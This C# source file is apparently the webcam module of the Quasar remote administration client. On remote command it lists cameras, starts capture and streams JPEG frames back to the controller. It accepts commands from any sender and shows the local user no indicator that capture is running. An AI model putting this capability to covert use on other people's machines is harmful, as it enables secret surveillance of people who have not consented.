using AForge.Video;
using AForge.Video.DirectShow;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class WebcamHandler : IMessageProcessor, IDisposable
    {
        private volatile bool _isCapturing;
        private VideoCaptureDevice _videoDevice;
        private int _quality = 75;
        private ISender _currentSender;
        private readonly object _lock = new object();
        private static ImageCodecInfo _jpegCodec;

        static WebcamHandler()
        {
            foreach (var c in ImageCodecInfo.GetImageDecoders())
                if (c.FormatID == ImageFormat.Jpeg.Guid) { _jpegCodec = c; break; }
        }

        public bool CanExecute(IMessage message) =>
            message is GetWebcams || message is DoWebcamStart || message is DoWebcamStop;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            _currentSender = sender;
            switch (message)
            {
                case GetWebcams m: Execute(sender, m); break;
                case DoWebcamStart m: Execute(sender, m); break;
                case DoWebcamStop m: Execute(sender, m); break;
            }
        }

        private void Execute(ISender sender, GetWebcams msg)
        {
            try
            {
                var devices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
                var sb = new System.Text.StringBuilder();
                foreach (FilterInfo d in devices)
                    sb.Append(d.Name + "=>");
                sender.Send(new GetWebcamsResponse { Webcams = sb.Length > 0 ? sb.ToString() : "None=>" });
            }
            catch (Exception ex)
            {
                Debug.WriteLine("[WebcamHandler] GetWebcams error: " + ex.Message);
                sender.Send(new GetWebcamsResponse { Webcams = "None=>" });
            }
        }

        private void Execute(ISender sender, DoWebcamStart msg)
        {
            lock (_lock)
            {
                StopDeviceLocked();
                try
                {
                    var devices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
                    if (msg.CameraIndex < 0 || msg.CameraIndex >= devices.Count) return;

                    _quality = msg.Quality;
                    _isCapturing = true;
                    _videoDevice = new VideoCaptureDevice(devices[msg.CameraIndex].MonikerString);
                    _videoDevice.NewFrame += CaptureFrame;
                    if (_videoDevice.VideoCapabilities.Length > 0)
                        _videoDevice.VideoResolution = _videoDevice.VideoCapabilities[0];
                    _videoDevice.Start();
                }
                catch (Exception ex)
                {
                    Debug.WriteLine("[WebcamHandler] Start error: " + ex.Message);
                    _isCapturing = false;
                    _videoDevice = null;
                }
            }
        }

        private void Execute(ISender sender, DoWebcamStop msg)
        {
            lock (_lock) { StopDeviceLocked(); }
        }

        private void CaptureFrame(object sender, NewFrameEventArgs e)
        {
            if (!_isCapturing || _currentSender == null) return;
            try
            {
                using (var bmp = (Bitmap)e.Frame.Clone())
                using (var ms = new MemoryStream())
                {
                    var ep = new EncoderParameters(1);
                    ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)_quality);
                    bmp.Save(ms, _jpegCodec, ep);
                    ep.Dispose();
                    _currentSender.Send(new GetWebcamResponse { Image = ms.ToArray() });
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine("[WebcamHandler] CaptureFrame error: " + ex.Message);
            }
        }

        private void StopDeviceLocked()
        {
            _isCapturing = false;
            if (_videoDevice == null) return;
            try
            {
                _videoDevice.NewFrame -= CaptureFrame;
                if (_videoDevice.IsRunning)
                {
                    _videoDevice.SignalToStop();
                    // Wait max 2s then force
                    for (int i = 0; i < 20 && _videoDevice.IsRunning; i++)
                        Thread.Sleep(100);
                    if (_videoDevice.IsRunning)
                        _videoDevice.Stop();
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine("[WebcamHandler] StopDevice error: " + ex.Message);
            }
            finally
            {
                _videoDevice = null;
            }
        }

        public void Dispose()
        {
            lock (_lock) { StopDeviceLocked(); }
        }
    }
}
